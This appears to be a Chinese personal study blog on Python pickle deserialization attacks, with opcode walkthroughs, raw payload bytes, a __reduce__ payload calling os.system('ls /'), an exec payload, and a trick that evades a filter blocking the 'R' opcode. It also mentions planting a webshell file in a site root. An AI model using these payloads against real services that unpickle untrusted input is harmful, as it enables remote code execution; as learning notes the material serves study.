知识来源哦哦:
最最最底层的分析:来自知乎专栏的,也是炅哥推荐的文章
GitHub上的 opcode 指令的含义:
这个挺好,先知社区讲的,由书写和阅读opcode码的相对来说比较详细的讲解,有gif图片教学,好得很
这个是P牛讲的,中间靠后那一段,学了不少,熟练opcode就从这学的
这是一个个人网站的,没看,因该写的不错吧,记录下来了
要手写的话,看这个https://blog.csdn.net/Zero_Adam/article/details/114535044是p0写的,下面是p3写的,不方便看,
python反序列化----本地测试 -----踩坑注意点! 这个夭折了,可以看看那些nb的【附件。。。】
生成二进制码,并且利用 逆向分析工具
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)
这段代码就是练习python反序列化的例子,
import pickle
import os
import pickletools
import base64
class Student():
def __init__(self,name,grade):
self.name = name
self.grade = grade
def __eq__(self, other):
return type(other) is Student and \
self.name == other.name and\
self.grade == other.grade
"""
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)
"""
res = pickle.loads(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.')
print(res)
这是正常的 Student 的反序列化的 二进制码
b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'
这个是 带有reduce的 student类
reduce实现如下:
def __reduce__(self):
return (os.system,('ls /',))
这是生成的二进制码
b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.'
至于为什么 反序列化 时候,用
__reduce__
方法就能够执行呢。这个知乎的那篇文章已经讲的很清楚了,这里我只是自己输出一遍,看看自己理解的怎么样:
reduce呢,就是 两个参数,前面一个参数是方法,后面一个参数是一个字符串或者是元组,我们选择元组作为他的参数,也就是前面的那个方法的参数,这样就能够执行这个 方法了
而我们 学习那篇文章,又能知道 在反序列化时, R 操作符,会弹出栈顶两次,假设先弹出a,后后弹出b,那么就会执行b.a这样的方法,刚好和reduce方法一致,
这里我们看一下上面的 恶意的二进制的反序列化字符串:
res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')
c字符,__posix__.system
压入栈,然后 字符串ls /
入栈,然后执行 R 指令。
ls /
出栈,__posix__.system
出栈。执行__posix__.system(ls /)
的命令,就执行了RCE了。
这是我牵强附会写的,肯定不对,只是为了顺畅分析而已,还是要看那个知乎文章去。
这样会在当前py文件目录中生成poc.txt文件,如果这个py文件在网站跟目录里面的话,就可以连接木马了
这个是正常运行reduce方法产生的序列化字符串,然后贴进去就行了
b"\x80\x03cbuiltins\nexec\nq\x00X\x17\x00\x00\x00key1=b'999'\nkey2=b'666'q\x01\x85q\x02Rq\x03."
这是正常的 反序列化字符串
b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'
这是带有 __reduce__
的反序列化字符串
res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')
可见,很多反序列化的信息都没有了啊,,,
没查出些什么来,就是说python会在序列化的时候调用 reduce 。。
我的猜测是正确的,\x85,\x86,\x87不仅仅是压入一个空元组,而是把相应个数的栈顶元素放入这个元组中,然后将这个非空元组压入栈顶。
我们先获取一个正常的 序列化 字符串
b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'
然后 用c 指令来进行绕过
这个是用c给代替了的,能够正常反序列化出来Student实例
b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'
我改了改,改成这个样子了
bb.py
# -*- coding: UTF-8 -*-
import pickle
import os
import pickletools
import base64
class Student():
def __init__(self,name,grade):
self.name = name
self.grade = grade
def __eq__(self, other):
return type(other) is Student and \
self.name == other.name and\
self.grade == other.grade
"""
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)
"""
import blue
def check(data):
if b'R' in data:
print ('no reduce!')
x = pickle.loads(data) # unserializtion
if(x != Student(blue.name,blue.grade)):
print('not equal >_<')
print('wel dome')
# check 里面写我们构造的 恶意的反序列话的 二进制的字符串
check(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.')
blue.py
name = 'QAQ'
grade = 'G666'
先看一下正常的 序列化什么样子
b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'
然后尝试和上面的一样,引入 blue 中的那些
这里!!!!!!!!!
修改的这里,我应该是要会手写进去的,而不是会复制粘贴进去
修改成这样:然后放进去,就好了
b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'
贴一下代码把:
没有留备份代码
# -*- coding: UTF-8 -*-
import pickle
import os
import pickletools
import base64
class Student():
def __init__(self,name,grade):
self.name = 'rxz'
self.grade='G2'
"""
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)
"""
import blue
def check(data):
if b'R' in data:
print ('no reduce!')
exit()
x = pickle.loads(data) # unserializtion
if(x != Student(blue.name,blue.grade)):
print('not equal >_<')
exit()
print('wel dome')
exit()
s=b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
s = pickletools.optimize(s)
pickletools.dis(s)
print(s)
res = pickle.loads(s)
print(res.name,res.grade)
这个我将P牛的文章 细细分析了一波,可以看一看。
基本功的第四点:【!牛逼!附件】python反序列化 例题学习 +++ 基本功:手挫OPCODE代码 !!: &&本地复现环境&& 详细解释 P牛 的那个 builtins 绕过沙盒的RCE